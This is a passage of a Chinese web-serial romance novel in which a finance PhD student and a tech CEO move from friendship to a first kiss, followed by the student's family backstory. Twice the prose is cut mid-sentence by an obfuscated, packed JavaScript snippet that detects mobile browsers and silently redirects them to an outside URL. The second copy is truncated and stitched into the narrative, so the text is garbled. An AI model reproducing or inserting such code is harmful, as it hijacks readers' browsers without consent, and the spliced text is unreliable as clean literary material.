不必等洗完,定个闹钟,到了时间下去取回就好,因此通常送洗也就去一会儿工夫,很快就能回来,而且这楼里住的都是认识的同学,谈霄出去就没锁自己寝室的门。 但他记得走的时候是关上了灯,还关好了门,快到门口的时候,却发现门开着,灯也开了。 有人来找他了吗? 他走到门口,房间里果然站着个人,正在矮书架前微弯下腰,在看那上面都有什么书。 谈霄左右看看,确认自己正在博士楼的楼道里,又向房间里面看看,确认这就是自己的寝室。 那么,张行川怎么在这里? “喂。”谈霄其实超想笑,硬是板着脸,斥问道,“你是谁?长得帅就可以闯进我家吗?” 张行川回头,直起身。 两人视线一对上,谈霄险些装不下去,想上去熊抱一下张行川,还想欢呼一声。 但那么做就太失礼了。 张行川说:“首先,我不叫喂。” 谈霄再也忍不住,一下就笑了出来。 张行川也看着他笑,又看到他手里提着洗衣篮,说:“原来你去洗衣服了,我敲门敲了十分钟,以为你戴耳机听不到,站在楼道里有点引人注目,就自作主张推门先进来了。” 谈霄随手把洗衣篮放在了门边空闲的杂物柜上,又扫视自己房间里,紧急检查有没有随处乱放的垃圾或是脏东西,还好是没有。 他房间很干净,比常见男生寝室干净得多,也没有男寝的怪味,还有点淡淡的香气,是柑橘味香调,四处都没有摆放香薰,可能是常用的沐浴露。 张行川没有动过房里的东西,只是眼睛已经把能看到的看了个遍。 “你到底是怎么进来的?”谈霄还在好奇,说,“晚上临时预约进校园参观,也还能约到吗?” 张行川好笑道:“你是不是忘了,这也是我的母校,我有校友卡,我不是游客。” 谈霄还真是忘了这一茬,又说:“那你怎么知道我住哪一栋,哪一间?” 张行川道:“你看有没有这种可能,就是我其实长了嘴。” 所以他是一路打听着找到这里的吗? 谈霄又开始笑,他想象中,一个Q版小人张行川拿着他的照片,在校园里遇人就问:请问认不认识这个人,请问见没见过这个人。 跋山涉水,历尽艰险,张行川小人终于找到了他的寝室。 张行川只是给认识的老师打了个电话,问了金融系三年级博士住在哪栋楼。 等进了这栋博士楼,问程张行川随机找学生刷脸问个人,还是很简单的。 “请坐请坐。”谈霄说,“我先把衣服晾一下。” 他拿了洗衣篮,要到阳台去晾,刚踏出阳台门,又想退回来拿晾衣架,张行川已经过去帮他拿了,到阳台门边递给他。 谈霄挂衣服,张行川在旁边打量他,他是已经洗过澡的模样,又见那洗衣篮里只有一身运动服,问:“今天又去哪参加体育活动了吗?” “去大操场跑了个步。”谈霄道。 张行川一想,推理出了事实,说:“所以是跑步回来,路过情人坡,就被人拍到了吗?” “我只是随便找块空地坐,真没注意那是情人坡。”谈霄道,“你怎么还在提这件事?” “你对校园环境这么不熟悉吗,”张行川不是要提那件事,而是想问自己想知道的事,道,“在这学校都快八年了,以前就没有和谁在情人坡约会过?” 谈霄被问得古怪,说:“没有,我是寡王博士,怎么了。” 他已经把那三两件衣服晾完了,站在原地,张行川也还站在阳台门边。 两个人突然默契的沉默了一会儿。 16.第 16 章 氛围已经到了这里。 谈霄在恋爱上不灵光,很会看眼色,暗道不好,大事很不妙。 这气氛肯定有什么古怪,不然他怎么会联想起出主意大王的歪理邪说——直男和直男可以谈恋爱。 这对吗?这全错。 张行川完全没想到,谈霄居然会没有恋爱经验。 他眼里谈霄已经帅气可爱到了顶点,是造物主的宠儿,完美至极,全世界都得吻上去的程度,居然在此之前,还没有被别人抢先一步谈到过? 不是,这么难追吗崽崽。 谈霄打破了沉默,不打破不行了,再这样下去得出事。 至于出什么事,他倒也还没想得那么具体,总之要先把事态紧急控制一下。 “你怎么不说话了?”谈霄道,“寡王博士很稀奇吗?” 寡王总裁尽量克制了自己的表情,这种时候还是不要开怀得太明显了。 “不稀奇,很正常,”张行川说,“你以学业为重,这很好。” 谈霄又在内心劝说自己,快打消那些邪门念头吧。 也不看看,人张行川是多么正经一直男,现在还见缝插针地劝学,才不像他自己这么没溜儿。 张行川也走到了阳台上,两人此时都有点不大能直视对方,不约而同都转过了身,并着肩,眼睛没处放,都看向楼下,那是他们都非常熟悉的校园,夜里稍显寂静,灯火灿若星辰。 “我读书的时候也没谈过恋爱,”张行川说,“情人坡那地方,我也不太熟。” 啊?这和谈霄以为的不一样。 他说:“你是说,你读本科的时候没谈过恋爱吗?” “没有。”张行川说,“没时间,写不完的作业,做不完的项目。” 也就是说,白月光姐姐不是他们清大的校友。 那就是在阿美莉卡发生的故事了。 谈霄说:“那在美国读研的时候,应该谈过吧?” 张行川道:“也没有,在那边就更忙了。” 计算机系课业繁重,他又是对自己要求很高的人,人生规划比多数同龄人都要清楚得多。刚考上清大计算机系就决定了要出国读研,赴美读研也想好了今后要回国来创业。 谈霄说:“那……那……” 他“那”不出来,他超想打听张行川的恋爱经历,又觉得打听这种事很不合适,他和张行川只是普通朋友,问这个会不会越界了。 如果真的是普通朋友,能做到他俩这情深似海的份上,问这种事也完全不越界,问得再私密些都仍然很合理。 然而谈霄现在是想做贼的预备阶段,还在那里左顾右盼,垂死挣扎,偷还是不偷?单纯的新手偷心小贼已经开始感到了心虚,才不敢问这些。 张行川这时想起了一件被他遗忘已久的事,说:“后来在硅谷工作的时候,倒是有了点私人时间。” 谈霄听这话,心里有了预感,“私人时间”里一定发生过什么,那个白月光姐姐,这个时候出现的? 张行川说:“当时我有和一位也在硅谷工作的中国女生date过几次。” 谈霄觉得这很可能就是正主了,呼吸屏住,等张行川继续说下去。 张行川却忽然不说了,余光瞥着谈霄,他看出来谈霄又为他吃醋,这感觉真的很爽。 谈霄欲言又止,好想问,要憋出内伤来。 张行川故意停顿了好一会儿,才说:“你怎么不问问我具体情况。” 谈霄强忍好奇心,说:“因为我看你也不是很想说。” 张行川侧了侧身,笑着看他,说:“冯秘书那种无关紧要的醋你都要吃,这种才是应该吃的醋,你又不吃了?” 怎么又提这事?不是说好当没发生过吗?谈霄有点尴尬,但这时间他也算半开了窍,也反应过来,为了张行川对谁好而吃醋这事,真的很像是对恋人才会有的小心思。 “这不一样,”谈霄说,“不是一回事。” “哪不一样了?”张行川道。 “你在美国约会的时候,”谈霄找到了一个说得过去的理由,也是要说服自己,道,“我又不认识你。” 张行川纠正他道:“没有约会,只是date阶段。” 谈霄不管了,不要东拉西扯,快点说清楚,他就要问了:“那是date过几次,发展到了什么程度?” 张行川被这么问也觉得很爽,一次性全招了说:“两三次,吃饭,喝咖啡,没有别的了,双方都不来电,没有感觉。” “牵手都没有吗?”谈霄道。 “握手告别也算的话,那是有的。”张行川道。 只是吃饭喝咖啡,也不至于就让张行川念念不忘。 那应该就是和这个姐姐握手告别后,后面又来了一个姐姐。 谈霄有点烦,到底有几个姐姐? 刚才他还很想问得更清楚,现在就希望张行川不要说了,和这个姐姐都不来电,还要吃饭喝咖啡,白人饭和美式咖啡是人该吃的人该喝的吗?究竟是有多想和人家见面?再听听,分手还要握着手告别,那以后和正主白月光,没准是怎么缠缠绵绵过了。 但是张行川已经彻底讲完了自己相当贫瘠的情感经历。 后来他就回国创业,更没有时间,而且也没遇到过非谈不可的心动对象。 现在大概是遇到了。 这几天里他还在犹豫不决,到底该怎么应对谈霄突然的告白。 在谈霄告白之前,每次和谈霄见面他都快乐得超乎寻常,在谈霄告白后,回头去检视那些相处中的细节,怕不是早就心动了千万次,只是因为谈霄是个男孩子,他才没有仔细想过到底是在快乐什么。 那是人体神奇的化学反应,在喜欢的人靠近的时候,它会一次次的出现,是身体和大脑在一起提醒他,爱情来了。 可是,然而。 每一步都按计划前行的人,忽然要偏离轨道去当个男同,这对张行川对自己的人生规划而言,是一个有绝对颠覆性的变数。他还不能如此轻易地做出这种决定。 何况喜欢也不意味着一定要得到,人的欲望永无止境,本身就是需要时刻克制的东西。 结果傍晚时看到同学群里分享的小红书帖子。 前后只用了不到半小时,他的想法就变成了谁爱克制谁克制去吧,他是克制不了一点。 他不去得到谈霄,谈霄就会被别人得到,男同谈恋爱是要接吻要做.爱的,扪心自问,他显然不能接受谈霄去和任何不知名男士发生上述亲密行为。 现实就是如果他不要,那就白送给别人了,凭什么呢?本来就该是他的。 总裁想要,总裁就该得到。至于人生规划,重新做一份也没那么难。 张行川和谈霄在这一点上也很像,两个都配得感超强,没那么想要的时候就算了,一旦真的想要,那就要得到最满意的那一个。 谈霄现在就不得劲,很不得劲。 他是真被陈述大王成功开了悟,已经不自觉开始把张行川定位成自己的恋爱对象,一想到比现在年轻几岁的张行川和漂亮姐姐牵手拥抱,爱火燃烧,他就浑身刺挠。 男人谈恋爱就必须要做那些事吗? 张行川正思考要怎么对谈霄展开追求,发现谈霄表情古怪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271361|197178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你是不是瞪我了?”张行川道。 “没有啊。”谈霄说。 他现在看张行川好像一个脏脏包。还是很香很甜很美味,就是有点不太干净。 张行川好笑道:“我惹你了?一直用眼神挑衅我。” “没有。”谈霄说,“我就是嫉妒你谈过漂亮姐姐。” 张行川以为他在说那位曾经短暂date过的女士,说:“只许你和男同学在情人坡cos小情侣?你别太双标。” 谈霄说:“都说了那是在闹着玩。” “今天刚看到帖子,”张行川道,“我真以为你在学校还有个对象。” 他这句话里强调的是“还”有个对象,都明确表态为他拈酸吃醋了,谈霄在校园里怎么还有未斩断的情缘,那肯定不行,不能谈多角恋,谈就只谈两个人专心为彼此倾倒的纯爱。 谈霄没听出来,说:“都说了人家有女朋友。” 张行川道:“那我也吃醋的。” 谈霄说:“都说了……诶?” 他转过头来看张行川,一双大眼睛瞪得溜圆,满脸震惊。 张行川也看着他,重申了一遍:“别跟其他男生太亲密,我会嫉妒,女生也不行。” “……” 谈霄愣了半晌,什么,真是霸道总裁吗?我那么大的卡皮巴拉呢? 他回神后,第一反应是立即从阳台上逃走。 他还没有想得很清楚很明白,零恋爱经验限制了他对这方面事宜的理解上限。 但基本的判断能力他还是有的,张行川说的吃醋和他上周说的吃醋,肯定不是同一个词。 “你去哪了?”张行川在阳台上问道。 谈霄胡乱找借口:“我要喝水。” 张行川也跟了进来,谈霄正在桌边,忙假装倒水,还和张行川客气:“你喝水吗?春天太干了。” “不了,谢谢。”张行川道。 谈霄倒了水,端着马克杯喝了两口,抬头的时候,在窗户玻璃上看到自己的倒影,脸红得可怕。 张行川也发现了这点,一天内竟能看到两次谈霄害羞,上一次是在小红书。以前就没发现他这么容易脸红。 张行川心里有了个推测,说:“被拍到的那张照片里,你和那个同学正在聊什么?看你们聊得很开心。” 怎么说,聊我这个直男,和你这个直男,最近一直在谈恋爱。 谈霄当然不能实话实说,他脑瓜子嗡嗡作响。放平时,他总能想出一个合适的说辞暂时结束这个问题,现在翻来覆去是张行川刚才那两句吃醋宣话。 霸道总裁有市场不是没原因的,这真的感觉有点不一样。 “没聊什么,”谈霄心跳得很快,感觉是被张行川霸道总裁版给暂时性迷住了,给不出什么高情商的回答,笨笨地说,“我忘了。” 那就是聊我了。张行川有些快乐。两次害羞都是为了我,都是。 他也有点口渴,想了下,把谈霄还拿在手里的马克杯拿走,就着那杯子,也喝了口水。 谈霄头顶要冒烟了,道:“你怎么用我的杯子。” “我用了这边。”张行川道。 他还把自己喝过的位置转过来给谈霄看。 谈霄现在晕头转向,早忘了自己是用了哪边,这会儿不止脸发烫,嘴唇也开始发烫,用力抿住了。 嘴唇和脸颊又不一样,害羞了脸会红,嘴巴是没明显变化的,他这一抿唇,就是此地无银三百两,明着告诉张行川,他被这无聊的小招数撩到了。 张行川心说,这不是很好追?那以前打过崽崽主意的,都是什么笨蛋。 17.第 17 章 关于谈霄难追不难追这个问题,结论还真是难讲。 他当然有过被女孩示好的经历,只是每次都躲得飞快,有时候可能人家女孩根本就没那个意思,只是看他有趣,想和他玩,他防患于未然,也会立刻逃走,打滴滴都嫌慢,恨不得打飞机跑得更快些。 但是有没有男孩对他有过那种意思,他自己也不清楚,感觉应该是没有……吧。 在今天以前,他还没想过同性恋这么先锋时髦的事,能和他本人有任何关联。 别看谈博士年纪轻轻,某些方面的观念传统得有一点古板。 避免和女孩发生情感纠葛,是因为他知道自己给不了人家任何承诺和未来,最后都只能分开,不过是白白害别人伤心,自己的余生里也只留下遗憾。 一个心理生理发育都正常,性格积极开朗,遇到感兴趣的人就想与之交朋友,谈霄是多么正常阳光的二十四岁男大,说他从没有恋爱的冲动,这也根本不可能。 尤其是他成年后的寒暑假,有了要参加社会实践、学以致用的充分理由,不用再去欧洲接受老资本家族的教育,但假期里没有了同学的朝夕相伴,偶有孤独感,他也会向往能有个相爱的人彼此陪伴。 他有格外偏爱的魅力女演员,出门玩遇到很漂亮或有气质的女生,也会忍不住多看几眼,会对异性充满好奇心,十八岁前后还一度很爱看偶像剧,到了现在他也还是爱观察身边的小情侣,试图通过围观别人谈恋爱,缓解他自己偶尔也会发作的青春躁动。 不久前他也对张行川和白月光的故事很感兴趣,如果他和张行川的友谊小树正常茁壮长大,以他们现在的熟悉程度,他就可以光明正大问张行川那究竟是个怎么样的故事了。 好好的友情,怎么就变味成了这样。 谈霄实在搞不懂从哪个节点开始变了质。 这好像也怪不到别人怎么歪理邪说才污染了他的精神,就他自己这副一见到张行川就乐得找不着北的愚蠢模样,分明就是陷进去了吧,还陷得不浅。 当天晚上他在寝室里辗转难眠,开始反思这一晚上到底干了多少不机灵的事。 张行川喝了他杯子里的水,他在那里犯蠢抿起了嘴巴。 你说说,为什么要抿嘴巴?真的很蠢对吧。 然后,就被张行川亲了。 等等,什么。 谈霄噌一下坐了起来,是被亲了吗? 他怎么有点断了片。 张行川也已经回到了家,还认真回了几封邮件,过了十二点,才准备睡觉。 关了灯。五分钟后,他又开了灯。 这……好像也太兴奋了。 寝室里的谈霄下了床,倒了杯水喝,他常用的马克杯就是那一个,晚上张行川也用它喝过水。 谈霄端着那杯子转来转去地观察,脸又开始红了。 那算是接吻了?大概也不算,只是嘴巴贴了贴。 世上怎么有他这么废物的男生?嘴唇贴贴就把他刺激得像喝了假酒,居然能断片。张行川后来怎么走的,他也不是很清楚。 张行川当然是迈着两条一米二的长腿走的。 那时气氛已经烘托到位,他接下去的行为也理所当然,就那么自然地亲了谈霄一下。 哪知谈霄连退几步,一手捂着嘴巴,两颗漆黑瞳仁再瞪就要脱框了,脸上本来就有的红晕瞬间晕染到了脖子上,假如条件允许的话,他的短头发也全都得竖起来,就像一只应激的小动物。 张行川倒被他这反应吓了一跳。很快意识到,他从来没被亲过。 张行川也没和别人有过这样亲密的举动,但这也只是嘴唇碰了碰而已,虽然亲的是谈霄也让他很欢喜,不至于掀起什么内心的惊涛骇浪。 他亲那一下纯属本能,当时谈霄的反应太可爱了,不亲一下,说不过去。 谈霄真的很白,被亲了以后脸红又带着脖子也红,淡红的颜色一径蔓延进了圆领T里面去,白皮肤的人脸红时其实是会显得人粉粉的,就是一种,很可口的样子。 张行川开了灯,他喜欢开着灯,这他也要卷,有时候过于无聊,还会虚空竞赛,也不知道跟谁比,总之,他有时还会计时。 谈霄喝了水,坐在书桌前发呆,渐渐就生出一点闷气。 不是,这和猪八戒吃人参果有什么区别?根本都没咂摸出味道来。 要亲也不好好亲,为什么只亲一下就跑了? 不行,这波得大扣分,全扣光。 张行川从洗手间回来,就顺利睡着了。 这次当然没计时,总裁已经非常愉快了,可以说是迄今为止最愉快的一次。 谈博士还在gap,等论文给意见,不过他每天作息很规律,早饭按时吃,天气好时还会晨跑。 今天起得超晚,因为近凌晨四点才艰难地睡着。 他在食堂吃brunch,遇到认识的同学,同学问他:“生病了吗?很少见你这么没精神。” 谈霄道:“没有,没睡好。” 那同学才刚读博,既同情又恐惧地说:“毕业前压力这么大啊?连你都扛不住啦?” 谈霄想解释不是,又不能说实话,最后只好认了是被学习压力打垮,道:“也还好,是我比较菜。” 也确实就是很菜吧,初吻都吻不明白。 张行川亲得明明白白,也没把这蜻蜓点水的触碰当初吻。 真正的初吻得要在一个精挑细选的时刻,仪式感给足,要吻得这辈子都难忘,才符合他对这事的预想。 他今天有点忙,确实地说是每天都很忙,但今天忙得他很心急,这事刚完,怎么又有那事?没完没了还。稍微得个小空,他就想找谈霄聊点什么,还没想好怎么撩,下一桩事又来了。 这和平时跟谈霄聊天不一样,他现在就是刚谈恋爱的心态,每句话都想起到一个迷死对方的作用。等谈久了就知道这心态多搞笑了,一整个就是公孔雀追着别鸟使劲开屏,别鸟都懒得理他,他还要开屏,开屏,就要开屏。 当然张行川的那个别鸟不会懒得理他,还想他想得厉害,比起他这着急撩人的劲,有过之而无不及。 谈霄如果真是只小鸟,早呼扇翅膀飞到问程总裁办公室窗外,隔着窗好好瞧上一瞧。 倒要瞧瞧总裁到底在忙什么?一上午都不发一条消息。 区区市值百亿的问程,到底有什么搞头,值得忙成这样。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280510|197178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 今天阴天,没太阳可晒,谈霄也不想在校园里闲逛,再被好事游客拍到发网上就不好了,就他现在这憔悴模样,没准还要被编排成连续剧,为情所困,一夜神伤。 可不就是为情所困吗。谈霄心想,谈个恋爱怎么这么累?还在起步阶段,就比高考拿709分更累了。 709分是他的高考成绩,学霸的高三也是有点累的。 他高三的时候还想过学计算机,因为当时学习累了就很爱打游戏,会觉得将来当个游戏程序员也有趣,还很酷。 但他家里强烈反对,这让他很意外。 当初他想留在中国生活,欧洲家里那边也有一点反对的声音,并不强烈,他很坚持,那点反对也就不了了之了。 他长了张亚洲面孔,黑头发黑眼睛,可以说半点白人特征都没有,小时候第一次被带回“家”,高鼻深目的长辈们都只是远远看着,只让穿女仆裙的姐姐抱着他。他那时候只有一点大,跑都还跑不快,也能感受到自己在那里不怎么受欢迎。 后来他回了中国,留在中国长大,正常的读书,学习知识,每年寒暑假有两到三个月时间要回“家”,在那里接受另一种教育,马术击剑帆船古典乐器等等。相比较起来,回中国上学才更像是给他放假。 因此他提出要学计算机,遭到激烈的反对,是他完全没想到的事情。 姐姐谈韵亲自到中国来和他深谈了一次。计算机专业只能培养出纯粹的生产工具,可他们那样的家庭在一百多年前就已掌握了生产资料,去学这种技术类专业,是舍本逐末,无异于手握黄金,偏要做成一把金锄头拿去锄地。 当然谈韵原话不是这样,这是谈霄对那场谈话中她表达的意思做了个总结。 她可以用中文正常沟通,却不会用中文骂人,用德语把谈霄骂了一通,最后很不耐烦地一锤定音:“我可以高薪聘请一百个一千个硅谷码农,如果其中一个是我的亲弟弟,我将会失去下一代掌舵者的尊严。” 谈霄生在中国,基本上也长在中国,对这一套资本家逻辑很不感冒,但他从小就有点怕谈韵,当时他还只有十六岁,对于学什么专业也并不执着,谈韵“威胁”他不能学计算机,叫他学商科,他就改报了金融,谈韵后来还想劝说他到北美或欧洲去读书,听说他被清大金融系录取了,此事也才作罢。 现在他是很感谢谈韵的那次“威胁”,金融系的学习于他而言是很美妙的过程,很多商科学生正在或将会经历的迷茫,离金钱越近,离人性越远,谈霄早在幼年时就已经经历过了,弱小的他在面对那个家庭时,常常心生恐惧,他害怕那天文数字级别的财富,那让每一个和他同姓的“家人”都面目模糊。 学习金融让他系统科学地明白金钱世界的运作,理解金钱与人的关系,他可以站在人类金融发展史的肩上,去俯瞰他的家庭,他曾经很害怕的那些东西,也不过是沧海一粟。 他更得感谢自己,也用了点功才考出了709分,顺利考上了清大经管金融系。 如果不是被清大录取,谈韵还会来劝他出去读书,他就不能在清大度过人生中最快乐的八年时光。 同样,也没有机会在校友论坛遇到张行川。